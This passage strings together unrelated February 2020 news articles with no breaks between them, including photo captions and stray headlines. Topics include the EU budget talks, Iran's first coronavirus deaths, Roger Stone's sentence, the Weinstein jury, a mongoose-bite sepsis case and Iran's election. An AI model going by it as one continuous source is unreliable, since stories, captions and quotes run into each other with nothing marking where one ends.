the budget battle has exposed bitter divisions between EU members. Germany wants to spend more on climate change while France is seeking more money for a joint defence, with poorer nations determined to keep their generous EU payouts. But the so-called 'frugal four' of Austria, the Netherlands, Denmark and Sweden are unwilling to pay more to plug the gap. Dutch prime minister Mark Rutte, who came prepared for a long-haul summit by carrying a biography of Frederic Chopin, said he did 'not plan to put my signature' to the latest compromise proposal. EU figures are seeking a figure of 1.08 per cent of the bloc's combined GDP to cover the six years from 2021 to 2027, but the frugal nations are unwilling to go above the current 1 per cent. Meanwhile nations that receive 'cohesion funds' want more still, with authoritarian Hungarian Prime Minister Viktor Orban telling reporters today they want 'at least 1.3 per cent or close to that.' The UK's departure last month meant it was not dragged into the row over money that would have been sure to spark fury among eurosceptics. French president Emmanuel Macron grimaces as he arrives for the second day of budget talks in Brussels today, after the negotiations reached a stalemate overnight Dutch leader Mark Rutte (centre, facing the camera) embraces Portuguese leader Antonio Costa, with Finnish PM Sanna Marin (left) and Greece's Kyriakos Mitsotakis (right) looking on German chancellor Angela Merkel arrives for the second day of budget negotiations today. Leaders are battling over how to fill a budget gap left by Brexit The 27-member bloc's unity during Brexit negotiations has given way to fractious talks on its future after Britain finally left on January 31. A frustrated Czech prime minister Andrej Babis said there was 'no point continuing the summit' if the 'Frugal Four' refused to increase their contributions. 'If the group of four rich countries Sweden, Denmark, the Netherlands and Austria insist, we can go straight home,' Babis said today. The Frugal Four are unwilling to pay more to fill the Brexit gap, while Germany is also wary of a spiralling budget. 'The bilaterals took forever. But it seems things have not moved, the frugals keep on insisting on their position,' one diplomat said on Friday morning. However, the poorer southern and eastern European nations want to keep generous EU funds coming regardless of Brexit. French leader Emmanuel Macron has backed calls to resist spending cuts, saying it would be 'unacceptable' to 'compensate the departure of the British by reducing spending'. European Council chief Charles Michel has tabled a draft budget of 1.09trillion, which represents 1.074 per cent of gross national income of EU27 countries. The current long-term budget for 2014-2020 is 1.08trillion, which represents 1.02 per cent of gross national income for the EU28, before Britain's departure. European Commission president Ursula von der Leyen (right) meets with leaders of three of the 'Frugal Four': Austria's Sebastian Kurz, Holland's Mark Rutte and Sweden's Stefan Lofven Merkel greets Macron on the sidelines of the summit yesterday, where the 27 leaders are battling for a share of the EU's 1trillion budget Michel was last night meeting with each leader one-by-one to discuss their grievances and demands. 'There are lot of concerns, priorities, and interests,' he said. 'I'm well aware that the final steps that must be taken to find a compromise are always the most difficult.' German Chancellor Angela Merkel said she hoped 'we get at least a good deal further,' but said that 'for net contributors the balance is not right yet.' Finland's 34-year-old prime minister Sanna Marin said the member states are 'still quite far away from each other'. 'There is a lot of ambition to this budget. But let's be realistic - Britain has left the EU and we are in a new position,' she said. 'The proposal has gone in the wrong direction. Finland thinks the overall level is a bit too high, we would like to have it more moderate.' Dutch leader Rutte said he could not back a proposal that allocates a third of the budget for development funds and another third for farmers. Agriculture accounts for around one per cent of the EU's economy, but soaks up billions in subsidies. European Council chief Charles Michel (left) speaks to Angela Merkel and Emmanuel Macron on the sidelines of the summit in Brussels yesterday Ursula von der Leyen (centre) meets European Parliament president David-Maria Sassoli and Portuguese prime minister Antonio Costa in Brussels yesterday 'I cannot sign up to this proposal. The proposal is simply not good,' Rutte told reporters ahead of the talks. Outside the summit centre, farmers rolled tractors down the street to push their demands for sufficient funds. France, the number two contributor after Germany, wants to safeguard subsidies for farmers but is uneasy about the growth of so-called 'cohesion' funds for poorer nations. Germany, the Netherlands and others are keen to shift funds towards new priorities including global warming, migration and growth in the digital economy. The EU budget is drawn from national contributions as well as money from customs duties, a cut of sales tax and fines levied on companies. The bloc is also looking for new sources of revenue, but the leaders are split on a proposed tax on plastic waste or sharing profits from carbon emissions trade. Officials warn that without a deal by the end of the year, the bloc will have to freeze most of its projects from 2021. Iran has confirmed three new coronavirus cases following the deaths of two elderly men, the health ministry told AFP on Thursday, as Iraq banned travel to and from its neighbour. The pair who died were elderly Iranian citizens and residents of the city of Qom. They were the first confirmed deaths from the COVID-19 virus in the Middle East. Health ministry spokesman Kianush Jahanpour said two of the new cases were also in Qom and the other was in Arak, south of the holy city. "In total there were five cases... of which two have been fatal," he said. Qom is a centre for Islamic studies and tourists, attracting scholars from Iran and beyond. However, a government official said the deceased men had not left Iran. Following the announcement of the deaths, Iraq on Thursday clamped down on travel to and from the Islamic republic, with Iraq's health ministry announcing people in Iran were barred from entering the country "until further notice". "Iranians are prohibited from entering (Iraq)," a senior official told AFP, adding that border crossings with Iran had been closed, with only returning Iraqis allowed to pass through. Those Iraqis would be examined and, if necessary, placed in quarantine for 14 days, the health ministry said. Iraqi nationals are also not allowed to travel to Iran, according to the ministry. The border closure followed a backlash against a Wednesday announcement of visa waivers for Iranian nationals wishing to travel to Iraq. Iraqis took to social media using the hashtag "close the border" and local officials called for a ban on the entry of goods and people through various border crossings with the Islamic republic. Iraqi airports are already screening travellers for the virus and national carrier Iraqi Airways has suspended flights to Iran. Each year, millions of Iranian pilgrims visit holy Shiite sites in Iraq, providing the Iraqi state with significant revenue. Earlier Thursday, Iran's government spokesman Ali Rabiei said Tehran would set up a top-level body of government and defence officials to fight the virus' spread, according to state news agency IRNA. "We, however, need global action (by authorities) and the cooperation of all citizens," Rabiei said on Twitter. In Kuwait, national carrier Kuwait Airways announced Thursday it would suspend all flights to Iran, while its ports will also be closed to passengers travelling to and from the country. Kuwaitis were advised not to travel to Qom, and were warned anyone arriving from the city they would be quarantined. - 'Hid the truth' - The deaths in Iran were reported by local media on Wednesday, just hours after Tehran said there were two cases in the country. On social media, several people accused the government of keeping silent to prevent panic ahead of Friday's parliamentary elections. "Just four hours separated the announcement that two compatriots were infected... and their deaths," journalist Javad Heydarian tweeted. "This signifies that the virus had been around for some days but they hid the truth." Public confidence in government pronouncements has plummeted since the downing of a Ukrainian passenger plane on January 8 that killed 176 people. The government initially denied responsibility, but later admitted the plane had been fired on due to "human error" and blamed a jittery missile operator. The culture ministry has asked local media to only publish official information from government officials and denounced what it claimed was a proliferation of fake news on social media regarding the virus. Since December, the novel coronavirus has killed more than 2,200 people in China, the epicentre of the epidemic. Elsewhere in the world, the virus has killed 11 people and spread across some 25 countries. An Iranian street vendor sells protective masks in the capital Tehran Duo Bank of Canada, a Toronto, Canada-based financial services provider supported by Stephen Smith, Centerbridge Partners L.P. and Ontario Teachers Pension Plan, is to acquire all outstanding shares of Fairstone Financial Holdings Inc., which includes all operating subsidiaries, from an investor group led by J.C. Flowers & Co. LLC and Varde Partners, Inc. The deal whose terms were not disclosed includes all of Fairstones operations as well as all the companys 1,400+ employees. It is expected to close in the second quarter of 2020 and is subject to regulatory approvals and other customary closing conditions. Led by Scott Wood, President and Chief Executive Officer, and based in Montreal, Fairstone is a non-bank provider of responsible credit solutions for near-prime borrowers with over $3 billion in assets on a consolidated basis. It has two key business lines: lending directly to consumers through its branch network and online platform, and financing consumer retail and vehicle purchases through retailers and automobile dealerships. J.C. Flowers and Varde Partners acquired CitiFinancial Canada from Citi in 2017 and rebranded the company as Fairstone. Led by Trudy Fahie, Chief Executive Officer, Duo Bank is a Schedule I Canadian Bank that provides credit cards, rewards programs, retail sales financing, deposits and related protection services. FinSMES 21/02/2020 PHILIPSBURG (DCOMM):--- Student Erolene Mingos poster that was submitted to the Caribbean Mosquito Awareness (CMAW) Competition 2019, has qualified the Sint Maarten Academy (P.S.V.E.) School as a finalist in the regional Poster, Video and Photography Competition, the Collective Preventive Services (CPS), a government department under the Ministry of Public Health, Social Development and Labour, said on Thursday. The posters/videos have been uploaded to the Caribbean Public Health Agency (CARPHA) Facebook Page and this has been done to facilitate the second phase of the judging process through social media. The number of likes accumulated will contribute to 30 per cent of the final score. Winners will be announced on 28th February. The Facebook Page link is: https://www.facebook.com/carpha1/videos/188887885532997/ CPS is requesting the community to LIKE the above link which would contribute to the aforementioned student and school winning the regional competition. The likes must be completed by February 25, 2020. CPS would like to take this opportunity to congratulate the other schools and students that took part in the competition, namely the St. Dominic High School and the Charlotte Brookson Academy. CPS also congratulates student Erolene Mingo and the Sint Maarten Academy (P.S.V.E.) School for their qualification to the next level of the competition. The CMAW Competition 2019 was officially closed on 31st October 2019. CARPHA invited secondary school students from forms 1-3 to participate in the poster, video and photography competition on the theme, Empowering Young Leaders in the Fight against Mosquito Borne Diseases. The two categories of the competition along with prizes are: Health Promotion, 1st prize up to US$5000 worth of school supplies and equipment; 2nd prize $3500 school supplies/equipment; 3rd prize $2500 school supplies/equipment. The winning students in the second category Active Mosquito Surveillance will receive the following prizes: 1st prize a Laptop; 2nd prize a Tablet; and 3rd prize a Smartphone. The first phase of the competition took place in January 2020 and was completed early February 2020 by a Regional Panel of Subject Matter Experts. Finalists for both the school prize competition (Video and Poster submissions), as well, as the individual student prize (Active Mosquito Surveillance) were contacted early February. CPS reminds the Sint Maarten community that to report mosquito breeding sites or to request information about eliminating mosquito breeding sites, contact the Coordinator of the Vector Program by sending an email to: This email address is being protected from spambots. You need JavaScript enabled to view it. or call the hotline: 520-2874. Disgraced: Former Trump campaign adviser Roger Stone was jailed for 40 months. Photo: Leah Millis/Reuters A federal judge yesterday sentenced President Donald Trump's long-time adviser Roger Stone to three years and four months in prison and said his lies to lawmakers investigating Russian interference in the 2016 US presidential election amounted to a threat to American democracy. In a stern lecture during a two-and-a-half-hour sentencing hearing for the veteran Republican operative, US District Judge Amy Berman Jackson also delivered an implicit rebuke to Mr Trump, who has attacked her along with the jury and prosecutors in the high-profile case. "There was nothing unfair, phony or disgraceful about the investigation or the prosecution," Ms Jackson said, citing words that the Republican president has used. Stone's lawyer had asked that he get no prison time. The 67-year-old Stone, who has been a friend and adviser to Mr Trump for decades, was convicted on November 15 on all seven counts of lying to Congress, obstruction of justice and witness tampering. "He was not prosecuted - as some have complained - for standing up for the president. He was prosecuted for covering up for the president," Ms Jackson said. "The truth still exists. The truth still matters. "Roger Stone's insistence that it doesn't, his belligerence, his pride in his own lies are a threat to our fundamental institutions - to the very foundation of our democracy." The judge also said Stone "knew exactly what he was doing" when he posted an image on social media last year that positioned a gun's cross-hairs over her head. "The defendant engaged in threatening and intimidating conduct toward the court," Ms Jackson said. "This is intolerable to the administration of justice." Stone, who still has a sealed pending motion requesting a new trial, declined to speak at the hearing. Clad in a dark grey pinstripe suit with a polka-dot handkerchief in the pocket, Stone stood at a lectern as the judge announced the sentence. After leaving, Stone told reporters: "I have nothing to say." In a chaotic scene outside the courthouse, Stone walked through a throng of people with a slight smile on his face and climbed into a waiting vehicle. Mr Trump has stoked speculation he may pardon Stone. A prominent Trump ally, Republican Senator Lindsey Graham, wrote on Twitter after the sentencing that the president has "all the authority in the world" to review the case. Democratic congressman Adam Schiff, who now heads the US House of Representatives Intelligence Committee to which Stone was convicted of lying, wrote on Twitter: "It should go without saying, but to pardon Stone when his crimes were committed to protect Trump would be a breathtaking act of corruption." The White House had no immediate reaction. On Tuesday, Mr Trump granted clemency to prominent convicted white-collar criminals including financier Michael Milken and former Illinois governor Rod Blagojevich. Ms Jackson's sentence fell well short of the seven to nine years that were initially recommended by the original prosecutors in the case before they were overruled by the Justice Department after Mr Trump complained publicly. Those prosecutors quit the case. By Max Kornblith Among the 151 bills signed by Gov. Phil Murphy on Jan. 21 stands one of those drearily, boring bills that make state government so dull-sounding. Legislative proceedings summarize Assembly Bill 4972 as a bill that Establishes certain consumer protections related to arbitration organizations. But this bill, whose sponsors included Rep. Paul D. Moriarty (D-Gloucester) and Sen. James Beach (D-Burlington), will have an impact on just about everyone in the state. Or at least nearly anyone with a cell phone, a bank account, a corporate job, or a gym membership. This is because, once youve signed on the dotted line for your cable subscription or clicked through the terms of service in a rideshare app, youve typically accepted an arbitration organization as the court of last resort for any disputes you might have against the corporation on the other side whether its a hidden $5 fee or a wrongful death. These arbitration organizations, such as the American Arbitration Association and JAMS, are replacing trial courts as the place where employment and consumer disputes are heard in the U.S. I know this because my company, Radvocate, has dealt with thousands of consumer disputes through this system. The online magazine Slate recently named the rise of arbitration clauses as a key legal trend of the 2010s, calling it the decade that class actions were gutted. A 2011 decision by the U.S. Supreme Court allows corporations to use their contracts to prevent individuals from taking them to state and federal courts in this way, as well as to force all claims to be brought individually instead of on behalf of a class. The high court spent the rest of the decade building on this trend. The ostensible reason you can be kept out of court is because the 30-page, fine print contract youve signed to get into that rideshare app is considered a contract negotiated between equals and subject to an obscure 1920s law meant to encourage businesses to settle disputes out of court. In contrast, a 2013 dissent by Supreme Court Justice Elena Kagan notes that by allowing such terms, the court allows a company to exercise its monopoly power to insist on a contract effectively depriving its victims of all legal recourse. The effect on individual American consumers is jarring. My company recently assisted an individual with a claim against Philadelphia-based Comcast. The claimant, a California nurse, had fallen behind on her Comcast bills at which point the company had refused to allow her to move into a less expensive billing tier unless she could pay her balance due. She also had faced speeds consistently slower than those advertised by Comcast. The claimant was wise enough to use our service to serve a legal demand on Comcast, and to file a case with the American Arbitration Association when the company was unresponsive. Over six months later, when the claim finally made it to arbitration, Comcast threw white shoe lawyers up against her while attempting to delay or avoid handing over account records and other details that might make her case. They tried to scare her with the possibility that she might be held liable for hearing costs, and even their lawyers fees, if the professional arbitrator found against her. This consumer was organized and dogged in her pursuit of justice, and ended up being awarded $750 by the arbitrator. (Comcast, meanwhile, had likely spent $50,000 or more attempting to prevent such a judgment.) But even with this happy ending, the process of bringing a big company like Comcast to justice can be stressful and, when threats of legal fees come into play, downright terrifying. This is where the new New Jersey law comes into play. It will provide consumers with greater protections in arbitration proceedings. Among these protections will be a prohibition on requiring an individual to pay for a companys costs in an arbitration proceeding. While arbitrations will remain a contest among unequals, lifting this particular sword of Damocles is a positive for New Jersey consumers. As more states start to realize the increasing role of arbitration venues in our consumer and employee justice systems, such protections are becoming more common. Last year, California passed a bill banning most mandatory arbitration agreements with employers, legislation in progress in Colorado would increase transparency about arbitration, and a bipartisan bill at the federal level seeking to do away with mandatory arbitration altogether. But theres still a long way to go to level the playing field between corporations and individuals when it comes to the arbitration system. We need stronger state-mandated due process protections, an increase in awareness and accessibility, and a commitment from companies like Comcast to be good actors in an arbitration regime that was largely designed and built by large corporations. Of course, such a commitment would be easier to extract if we could do something about the lack of competition in the telecom sector. If the last decade was the decade when consumer and employment justice went dark, this decade has to be its recovery. Max Kornblith is co-founder of Radvocate, a service based in Oakland, Ca. that helps individual consumers make legal claims against big companies. The Star-Ledger/NJ.com encourages submissions of opinion. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. The four men remanded in custody since before Christmas in connection with the abduction and false imprisonment of Quinn Industrial Holdings director Kevin Lunney in September, are each to face an additional charge. The State solicitor for Roscommon, Kieran Madigan, told a sitting of Harristown District Court this morning that the four men would be charged with causing serious harm under Section 4 of the Non-Fatal Offences Against the Person Act. The offence carries a maximum sentence of life imprisonment upon conviction. The four men were charged with assault causing harm and false imprisonment when they were arrested and remanded in custody in November. They have since been remanded in custody on a number of occasions when they appeared at Harristown District Court, which is adjacent to Castlerea Prison in Co. Roscommon. Luke O'Reilly, aged 66, from Mullahoran Lower, Kilcogy, Co. Cavan, Darren Redmond, aged 25, from Caledon Road, East Wall, Dublin and Alan O'Brien, aged 38, of Shelmalier Road, East Wall, were remanded to appear before Harristown District Court next Friday. A fourth defendant, who cannot be named for legal reasons, was also remanded to appear before Harristown District Court next Friday. A previous sitting of the court was told that the Book of Evidence had been sent to the Director of Public Prosecutions on January 31. State solicitor Mr Madigan requested this morning that the four men be remanded in custody for a month when a date would be set to move the case back to Cavan District Court for the additional charge and the Book of Evidence to be served. The maximum period a defendant can be remanded in custody, after their initial hearing, is 15 days unless the defendant and prosecutor consents to a longer period. Judge James Faughnan at Harristown District Court was told that none of the four men consented. Defence solicitor Alan Gannon said that the defendants wished for the case to proceed as quickly as possible. Judge Faughnan then remanded them in custody for a week as there is no sitting of the court in a fortnights time. Mr Madigan said the DPP has indicated that the matter will proceed by indictment. At a previous sitting Mr Madigan outlined that it was a very complex with over 1,000 lines of inquiry, 400 statements, extensive CCTV footage and a large amount of phone data. BAE Systems' boss brushed aside concerns about the future impact of a multi-billion-pound deal to sell fighter jets to Saudi Arabia. An estimated 10billion agreement to sell 48 Typhoon jets to Riyadh has been hanging in the balance since October 2018, when Germany banned arms exports to the country following the killing of journalist Jamal Khashoggi in the Saudi consulate in Turkey. This has affected the British defence group because it works with firms that have German links, such as Airbus and MTU Aero Engines, to build the Eurofighter Typhoon meaning the bumper contract has been put on pause and has not yet been finalised. An estimated 10bn agreement to sell 48 Typhoon jets to Riyadh has been hanging in the balance since October 2018, when Germany banned arms exports to the country But BAE chief executive Charles Woodburn yesterday said an increase in defence spending from other countries would offset the potential impact that Germany's export ban would have on the company's books. Woodburn said: 'A number of European countries are looking to increase their defence spending and move closer to meeting their Nato commitments. The group is well-positioned to benefit.' Woodburn added that BAE could also bag more orders from some of Saudi Arabia's neighbours. He said: 'Within the Middle East region there are a number of customers in addition to Saudi Arabia looking for Typhoons.' The FTSE 100-listed company, which is Britain's biggest security manufacturer, is already aiming to become more reliant on the US defence market, where the Trump government has loosened the purse strings on defence spending. It plans to spend 1.7billion buying two defence businesses that will expand its footprint in the US. Woodburn's comments came as the company reported a 9 per cent rise in sales to 20bn in 2019, with profits rising 2.1billion. Shares in BAE yesterday rose 2.6 per cent, or 16.4p, to 656.4p. Coronavirus death toll reaches to 5 in Iran Iranian officials said on Friday that 13 more people have been infected with the new virus that originated in central China. The death toll from new coronavirus in Iran has risen to five, according to a statement released by Iran's Health Ministry on Friday. IRAQ HAD CLOSED THE BORDERS WITH IRAN Kianoush Jahanpour, the spokesman for the Health Ministry, also confirmed 13 new cases, including seven in the city of Qom, four in the capital Tehran and two in Gilan province. On Wednesday, the Health Ministry confirmed first two deaths from the coronavirus in Qom, the epicenter of virus in Iran. Following the global spread of coronavirus, the World Health Organization declared the outbreak an international health emergency. President Rodrigo Duterte MANILA, Philippines President Rodrigo Duterte has nothing but good words for Immigration head Jaime Morente despite the recent corruption issues hounding the Bureau of Immigration (BI). The agency has been in hot water following the expose of Senator Risa Hontiveros on the alleged bribery scheme dubbed as pastillas operations happening at Immigration counters involving frontline personnel receiving payouts from Chinese nationals in exchange for hassle-free entry to the Philippines. These Chinese nationals, who enter as tourists, allegedly end up working for Philippine Offshore Gaming Operators (POGO). Itong si Morente, mahal ko iyan, kasi chief of police iyan dito. Mabait iyan, the President speaking highly of Morente during a police rite in Davao City. The President said he ordered Morente to file appropriate charges against those involved in the scheme. During a Senate hearing on Thursday (February 20), key witness Allison Chiong disclosed his full knowledge of the said illegal practice which happens to involve at least 90 percent of BIs personnel. Kung bibigyan ko kayo ng parang percentage, para po sa akin mga ten percent na lang ang hindi kasama sa modus (If you would ask me of a percentage, I would say only about 10 percent (of the employees) are not involved in the modus operandi), he told senators. Following the expose, President Duterte ordered the relief of several immigration officers proven to have participated in the pastillas scheme. MNP (with inputs from Rosalie Coz) The post Duterte vouches for BIs Morente amid pastillas scheme controversy appeared first on UNTV News. County panel OKs rescue gear for coroners office EDWARDSVILLE A $12,000 bid for technical rescue gear was approved for the Madison County... 115 COVID patients in county hospitals WOOD RIVER The Madison County Health Department on Tuesday reported 117 COVID-19 patients were... A mother lost her hands, feet, nose, lips and tip of her tongue to sepsis after she was bitten between her thumb and index finger by a mongoose. Shaninlea Visser, 36, from KwaZulu-Natal in South Africa, cleaned the wound after she was attacked at her former boss's home and thought nothing of it. The mother, who has a 13-year-old daughter, collapsed two days after feeling like her hands and feet were on fire, and was rushed to hospital. Doctors put her into an 11-day coma as they fought to save her life and carried out the amputations. The mother has now had to learn to walk again and been through 66 reconstructive operations. She is scheduled for a further jaw operation in April. Shaninlea Visser, 36, from KwaZulu-Natal in South Africa, collapsed two days after she was bitten by the mongoose at her former boss's home. The mother, who has a 13-year-old daughter, was placed into a coma for 11-days as doctors fought to save her life. She is pictured after coming round in hospital The mother's hand after she was bitten, left, with a yellow ring showing where she was bitten, and the mother before she was bitten, right 'The doctor did blood tests but they couldn't pinpoint exactly what caused the sepsis,' she said, 'but being bitten by the mongoose two days before is most likely to be the cause'. 'I never expected what was about to happen - I was feeling nauseous, had an upset stomach but then I fainted a few times. 'My colleagues found me and my ex boss rushed me to hospital as I was in excruciating pain with my hands and feet and it felt as if they were on fire. 'I was put in a coma for 11 days while my kidneys, liver and other vital organs were failing. 'A few days later my family was called in and were told if I don't respond to the antibiotics there wasn't much more they could do for me. 'When my body started responding to the antibiotics they started bringing me out of the coma. 'They tried to keep my hands covered so I wouldn't see that they'd gone black but when I was strong enough they told me what happened. The mother pictured in hospital receiving oxygen. Her limbs were amputated while she was in a coma The mother's toes pictured in hospital after she was bitten by a mongoose Ms Visser after recovering from the mongoose bite in hospital (left) and the mother while she was in an induced coma (right) 'I told them 'you've got to do what you have to do'- I needed to fight for Kiara, I had to show her, when something happens to you either good or bad, you can't give up, you have to carry on. 'I was in shock when I realised the extent of my amputations but I had to be strong for my daughter- there was nothing that I could have said to them because they did what they had to do what they did to save me.' Shan was bitten by the mongoose three years ago and was placed into the induced coma on 19 January 2017 after she was diagnosed with sepsis and Disseminated intravascular coagulation. Doctors amputated both legs below the knee on February 6, both arms below the elbow on February 8 and her nose and lips were removed on February 17. She also lost the top part of her jaw and eight top teeth with one bottom tooth in January 2019 as a plastic surgeon worked to rebuild her nose and lips. The mother pictured smiling with a sign following her treatment for sepsis. She has since been through 66 reconstructive operations The mother pictured with her daughter Kiara before she was diagnosed with sepsis The mother pictured with her daughter Kiara before she fell ill with sepsis Shan said: 'To date I've had 66 operations and my nose has been reconstructed from a skin graft from my thigh and rib bone. 'This was first constructed on my forehead until there was enough blood supply to 'swing' it round and place it where her nose should be. 'My lips have also been reconstructed from my thigh, this was done by placing a tissue expander under the skin and over a few weeks I had to have saline injected into this bag to stretch the skin.' Once Shan had 300ml of saline in the bag, her skin had stretched enough for the plastic surgeon to use the extra skin to reconstruct her lips. This was her longest operation which took 13 hours, while her next one will be in April. She was bitten by a mongoose. Meerkats (pictured) are members of the mongoose family Shan says she is grateful for all the support she has received and added: 'I believe there is a reason why I'm still here and that's to tell my story and motivate people to realise if they wake up one day and they're feeling low, it's just that day, the next day is a brand new day, full of opportunities. 'If I hadn't been strong I don't think I would be here today, as soon as you get a bit of negativity in your mind, you get depressed and everything goes downhill from there. 'I want people to be aware of what sepsis can cause- life is too short, take the bull by the horns and go for it.' The judge in Harvey Weinstein's rape trial has ordered the jury to continue deliberating after jurors indicated they were deadlocked on the most serious charges that could see him jailed for life. Jurors sent a note on Friday afternoon asking if it was permissible for them to be hung on two counts of predatory sexual assault while reaching a unanimous verdict on other charges. After consulting with prosecutors and Weinstein's lawyers, Judge James Burke told the jury of seven men and five women to keep working toward a unanimous verdict on all charges and sent them back to continue deliberating. Weinstein's lawyers said they would accept a partial verdict but prosecutors said no and the judge refused to do so. Shortly after, the jury was sent home for the day and will resume deliberations again on Monday. As Weinstein left court he was asked about his lawyers accepting a partial verdict and shrugged his shoulders. He did not respond when asked if this was an admission of guilt. The jury, in its fourth day of deliberations, have repeatedly been focusing on Annabella Sciorra's claim that Weinstein raped her in her Manhattan apartment in the mid-1990s. Weinstein is charged with five counts stemming from the allegations of Sciorra and two other women - aspiring actress Jessican Mann who says he raped her in 2013 and former production assistant Mimi Haleyi who says he forcibly performed oral sex on her in 2006. Harvey Weinstein is pictured leaving court on Friday after the judge ordered the jury to continue deliberating after jurors indicated they were deadlocked on the most serious charges that could see him jailed for life While Sciorra's accusation is too old to be charged on its own because of the statute of limitations, it is a key component of the most serious charges that jurors are weighing in the closely watched #MeToo case. Her rape allegation is the basis for the two counts of predatory sexual assault - a charge that carries a maximum penalty of life in prison. To convict Weinstein of that charge, jurors must agree on two things: that Weinstein raped Sciorra and that he committed one of the other charged offenses related to Mann or Haleyi. Sciorra was the first accuser to testify and took the witness stand nearly a month ago, telling jurors Weinstein raped her in her Manhattan apartment in late 1993 or early 1994 He is also facing two rape charges for Mann's accusations and a criminal sexual assault charge for Haleyi's forced oral sex allegation. The jury's latest note suggests they have made a decision on Mann and Haleyi's sole allegations but there is no indication if it would find Weinstein guilty or not guilty. Sciorra was the first accuser to testify and took the witness stand nearly a month ago, telling jurors how the once-powerful movie mogul showed up unexpectedly at the door of her Manhattan apartment before barging in and raping and forcibly performing oral sex on her in late 1993 or early 1994. On cross-examination Sciorra was grilled about why she opened her door in the first place and didn't find a way to escape if she was under attack. Weinstein's lawyer Donna Rotunno asked: 'Why didn't you try to run out of the apartment? Did you scratch him? Try to poke him in the eyes?' 'He was too big' to fight off, Sciorra said at one point. 'He was frightening.' The jury spent Friday morning listening to Sciorra's cross-examination and any follow-up questioning by prosecutors. Jurors had already focused on emails that Weinstein sent regarding Sciorra, including ones to the private Israeli spy agency he allegedly enlisted to dig up dirt on would-be accusers as reporters were working on stories about allegations against him in 2017. Weinstein is pictured listening to testimony being read back during jury deliberations on Friday in his New York rape trial Weinstein has pleaded not guilty to sexually assaulting former production assistant Mimi Haleyi (left) in 2006 and raping aspiring actress Jessica Mann (right) in 2013 In previous days, the jury sent a flurry of notes requesting to rehear testimony and see pieces of evidence that marked the first two days of deliberations. The jury first signaled their interest in Sciorra on Tuesday when they sent a note seeking clarity on why Weinstein wasn't charged with other crimes stemming from her allegation. The judge told them that they 'must not speculate as to any other charges that are not before you'. Jurors finished Wednesday's round of deliberations by revisiting actress Rosie Perez's testimony about what she says Sciorra told her soon after the alleged rape. Perez said her friend Sciorra had told her at some point in 1993, her voice shaking on the phone, that something had happened to her: 'I think it was rape.' Perez testified that months later, on a phone call from London, Sciorra said Weinstein was harassing her and she was scared. 'I said, 'He's the one that raped you',' and they both began crying, Perez testified. 'Please go to the police,' Perez said she told Sciorra. She said Sciorra responded: 'I can't - he'd destroy me.' Prior to hearing the testimony on Friday, Weinstein's lawyer Donna Rotunno angrily squared off against attorney Gloria Allred, who is representing some of the alleged victims. Rotunno approached Allred, who was sitting in the front row of the public gallery, and could be seen pointing her finger and whispering furiously at her. Prior to hearing the testimony on Friday, Weinstein's lawyer Donna Rotunno angrily squared off against attorney Gloria Allred, who is representing some of the alleged victims. Rotunno accused Allred of speaking out publicly about her private life Weinstein arrived at the court with his lead defense attorney Donna Rotunno on Friday morning 'Don't discuss my personal life,' Rotunno said, before Allred hit back that she was 'distorting the facts'. Rotunno addressed the matter before the judge and said Allred had 'announced to the media' that she has to attend a funeral. Court proceedings are scheduled to conclude about two hours earlier than normal so Rotunno can attend the funeral. Weinstein's lawyer said Allred discussing her personal life was 'out of line' and 'unprofessional'. 'It's not someone in my family - to put those people the position where their lives are potentially out there is wrong. She doesn't care about what's wrong. It's horrible behavior to talk about personal lives,' Rotunno said. The judge made no comment and did not rebuke Allred. Allred poured heat on Rotunno outside the court on Friday afternoon, saying she didn't know what the defense lawyer's problem was. 'I would say it was tense. She's a lot taller than I am in her Jimmy Choos - even probably without them,' Allred said. 'But that's okay, I can defend myself. Bigger and better have tried to attack me unsuccessfully, I just pull out my equal rights brochures and everybody runs away.' Allred went on to say she'd never heard of Rotunno prior to Weinstein's trial. 'I have better things to do than be dealing with her and her issues. She needs to speak to someone who can help her with her issues. I'm not the person except to give her the truth. 'I'd never heard of Donna Rotunno before this trial, I'm sorry to say. She's never like been a blip on my screen even until somebody told me she was the anti-Gloria Allred. 'So God bless her, I'm glad she's got a high profile case and she can move on but she needs to get a little control over herself and her temper. Controlling your temper is always a good thing and not to be triggered or not to make a scene with little dramas, there's enough drama in this case.' Far From Home unveils the first gameplay teaser for their sci-fi, action-survival game coming to Steam Early Access in 2022 and later to consoles. Ballots are being counted in Iran's February 21 parliamentary elections in a vote that is certain to favor conservative candidates following the disqualification of thousands of reformists or relative moderates in advance of the poll. Initial results are expected on February 22 after authorities three times extended voting by a total of five hours to allow more people to cast ballots. Final results are expected a day later. All of those standing for election were prescreened by a group of hard-line Islamic clerics who disqualified some 9,000 potential candidates. Because of the disqualifications, turnout was expected to be lighter than usual despite pleas by Iranian leaders for citizens to head to the polls. Official figures were not immediately released, but the semiofficial Fars news agency said turnout was estimated at 40 percent nationwide and 30 percent in Tehran. State TV reported very high turnout early in the day in Tehran and other provinces, but the German dpa news agency quoted witnesses in the capital as saying most polling stations were empty. Iranian authorities had predicted a turnout of about 50 percent, compared with 62 percent in the 2016 vote. Supreme Leader Ayatollah Ali Khamenei cast his ballot at a mosque near his Tehran office shortly after polls opened. Anyone who cares about Iran's national interests should participate in the election," he said in televised remarks. Conservative clerics in the Guardians Council cleared a total of 7,148 candidacies for the 290-seat chamber. Ninety members of Iran's outgoing parliament were among those who were rejected. Many were moderates or reformist lawmakers who support engagement with the West. U.S. Secretary of State Mike Pompeo criticized the election as a "sham" and a vote that "is not free or fair." Washington on February 20 imposed sanctions on five members of Iran's Guardians Council and its Elections Supervision Committee, accusing them of rigging the vote. President Hassan Rohani, who initially criticized the disqualification of so many moderate would-be candidates, said Iranians could stage what he called another "victory" by voting in large numbers. "Our enemies will be disappointed more than before," Rohani said, after casting his ballot. Officials initially extended voting for two hours due to what state television described as a "rush of voters" during the final hours of scheduled voting. Balloting was then prolonged again for a further two hours and then a third time for one additional hour. The elections were seen as a test of the popularity of Iran's conservative clerical establishment. Voting comes amid public anger over official corruption, Iran's worsening economy, and Tehran's handling of the downing of a Ukrainian passenger jet by Iranian air defenses that killed all 176 people on board. A U.S. campaign of "maximum pressure" against Iran, including crippling economic sanctions, has hurt the country's economy and contributed to a crash of the national currency, the rial. Angry Iranians have taken to the streets to protest in recent months. The demonstrations have included antiestablishment protests in November, sparked by a sudden gasoline price hike in more than 100 cities and towns, which met with a violent crackdown by security forces. Inside and outside the country, some Iranians have suggested that voting in such an uncompetitive elections does not make sense. Paris-based political activist Ali Keshtgar told RFE/RLs Radio Farda 